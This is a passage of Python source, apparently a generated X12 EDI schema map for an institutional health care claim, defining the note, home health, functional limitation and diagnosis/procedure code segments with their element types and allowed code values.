data_type=(u'AN',u'1',u'80'), position=1, codes=[] ) ), Element( u'K302', Properties(desc=u'Record Format Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=2, codes=[] ) ), Composite( u'C001', Properties(req_sit=u'N',refdes='',seq=u'03',desc=u'Composite Unit of Measure'), ), ), Segment( u'NTE', Properties(syntax='',req_sit=u'S',repeat=u'10',pos=u'190',desc=u'Claim Note'), Element( u'NTE01', Properties(desc=u'Note Reference Code', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'ALG', u'DCP', u'DGN', u'DME', u'MED', u'NTR', u'ODT', u'RHB', u'RLH', u'RNH', u'SET', u'SFM', u'SPT', u'UPI'] ) ), Element( u'NTE02', Properties(desc=u'Description', req_sit=u'R', data_type=(u'AN',u'1',u'80'), position=2, codes=[] ) ), ), Segment( u'NTE', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'190',desc=u'Billing Note'), Element( u'NTE01', Properties(desc=u'Note Reference Code', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'ADD'] ) ), Element( u'NTE02', Properties(desc=u'Description', req_sit=u'R', data_type=(u'AN',u'1',u'80'), position=2, codes=[] ) ), ), Segment( u'CR6', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'216',desc=u'Home Health Care Information'), Element( u'CR601', Properties(desc=u'Prognosis Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=1, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8'] ) ), Element( u'CR602', Properties(desc=u'Date', req_sit=u'R', data_type=(u'DT',u'8',u'8'), position=2, codes=[] ) ), Element( u'CR603', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'RD8'] ) ), Element( u'CR604', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'CR605', Properties(desc=u'Date', req_sit=u'R', data_type=(u'DT',u'8',u'8'), position=5, codes=[] ) ), Element( u'CR606', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=6, codes=[u'N', u'U', u'Y'] ) ), Element( u'CR607', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=7, codes=[u'N', u'Y'] ) ), Element( u'CR608', Properties(desc=u'Certification Type Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=8, codes=[u'I', u'R', u'S'] ) ), Element( u'CR609', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=9, codes=[] ) ), Element( u'CR610', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=10, codes=[u'HC', u'ID'] ) ), Element( u'CR611', Properties(desc=u'Medical Code Value', req_sit=u'S', data_type=(u'AN',u'1',u'15'), position=11, codes=[] ) ), Element( u'CR612', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=12, codes=[] ) ), Element( u'CR613', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=13, codes=[] ) ), Element( u'CR614', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=14, codes=[] ) ), Element( u'CR615', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=15, codes=[u'RD8'] ) ), Element( u'CR616', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=16, codes=[] ) ), Element( u'CR617', Properties(desc=u'Patient Location Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=17, codes=[u'A', u'B', u'C', u'D', u'E', u'F', u'G', u'H', u'L', u'M', u'O', u'R', u'S', u'T'] ) ), Element( u'CR618', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=18, codes=[] ) ), Element( u'CR619', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=19, codes=[] ) ), Element( u'CR620', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=20, codes=[] ) ), Element( u'CR621', Properties(desc=u'Date', req_sit=u'S', data_type=(u'DT',u'8',u'8'), position=21, codes=[] ) ), ), Segment( u'CRC', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'220',desc=u'Home Health Functional Limitations'), Element( u'CRC01', Properties(desc=u'Code Category', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'75'] ) ), Element( u'CRC02', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'N', u'Y'] ) ), Element( u'CRC03', Properties(desc=u'Condition Indicator', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC04', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC05', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=5, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC06', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=6, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), Element( u'CRC07', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=7, codes=[u'AA', u'AL', u'BL', u'CO', u'DY', u'EL', u'HL', u'LB', u'OL', u'PA', u'SL'] ) ), ), Segment( u'CRC', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'220',desc=u'Home Health Activities Permitted'), Element( u'CRC01', Properties(desc=u'Code Category', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'76'] ) ), Element( u'CRC02', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'N', u'Y'] ) ), Element( u'CRC03', Properties(desc=u'Condition Indicator', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC04', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC05', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=5, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC06', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=6, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), Element( u'CRC07', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=7, codes=[u'BR', u'CA', u'CB', u'CR', u'EP', u'IH', u'NR', u'PW', u'TR', u'UT', u'WA', u'WR'] ) ), ), Segment( u'CRC', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'220',desc=u'Home Health Mental Status'), Element( u'CRC01', Properties(desc=u'Code Category', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'77'] ) ), Element( u'CRC02', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'N', u'Y'] ) ), Element( u'CRC03', Properties(desc=u'Condition Indicator', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=3, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC04', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC05', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=5, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC06', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=6, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), Element( u'CRC07', Properties(desc=u'Condition Indicator', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=7, codes=[u'AG', u'CM', u'DI', u'DP', u'FO', u'LE', u'MC', u'OT'] ) ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'231',desc=u'Principal, Admitting, E-Code and Patient Reason for Visit Diagnosis Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BK'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BJ', u'ZZ'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BN'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'06',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'07',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'09',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'10',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'12',desc=u'Health Care Code Information'), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'231',desc=u'Diagnosis Related Group (DRG) Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'DR'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'02',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'03',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'06',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'07',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'09',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'10',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'12',desc=u'Health Care Code Information'), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Other Diagnosis Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BF'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'231',desc=u'Principal Procedure Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BP', u'BR'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', 